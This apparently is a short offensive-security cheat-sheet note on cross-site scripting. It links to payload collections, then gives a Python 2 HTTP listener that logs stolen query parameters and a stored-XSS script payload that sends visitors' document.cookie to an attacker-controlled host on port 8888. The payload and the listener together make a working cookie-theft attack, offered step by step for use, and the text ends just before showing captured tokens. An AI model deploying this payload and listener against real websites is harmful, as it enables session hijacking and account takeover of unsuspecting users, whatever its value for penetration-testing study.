XSS attacks 💀

You should check XSS Theory 🍣

Testing Payloads

• PortSwigger Theory and examples
• OWASP collection

Check my note payloadbox XSS Payload List 🥝

Scripts

• When performing an stored XSS, we have the following useful script (python2):

#!/usr/bin/env python
# POC for cookie stealing through XSS
# Should work with:
# <script>
#   image = new Image();
#   image.src='http://X.X.X.X:8888/?'+document.cookie;
# </script>
 
# Written by Ahmed Shawky @lnxg33k
 
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import urlparse, parse_qs
from datetime import datetime
 
 
class MyHandler(BaseHTTPRequestHandler):
 
    def do_GET(self):
        query_components = parse_qs(urlparse(self.path).query)
        print ""
        print "%s - %s\t%s" % (
            datetime.now().strftime("%Y-%m-%d %I:%M %p"),
            self.client_address[0],
            self.headers['user-agent'])
        print "-------------------"*6
        for k, v in query_components.items():
            print "%s\t\t\t%s" % (k.strip(), v)
 
        # print query_components
        # self.send_response(500)
 
        # self.send_header("Content-type", "text/html")
        # self.end_headers()
        # self.wfile.write(c)
 
        return
 
    def log_message(self, format, *args):
        return
 
if __name__ == "__main__":
    try:
        server = HTTPServer(('0.0.0.0', 8888), MyHandler)
        print('Started http server')
        server.serve_forever()
    except KeyboardInterrupt:
        print('^C received, shutting down server')
        server.socket.close()

• Execute it
• Then we insert on the webpage the following XSS:

<script>
   image = new Image();
   image.src='http://IP_ATTCK:8888/?'+document.cookie;
</script>

• Then we should get some session tokens like this (when someone clicks on it):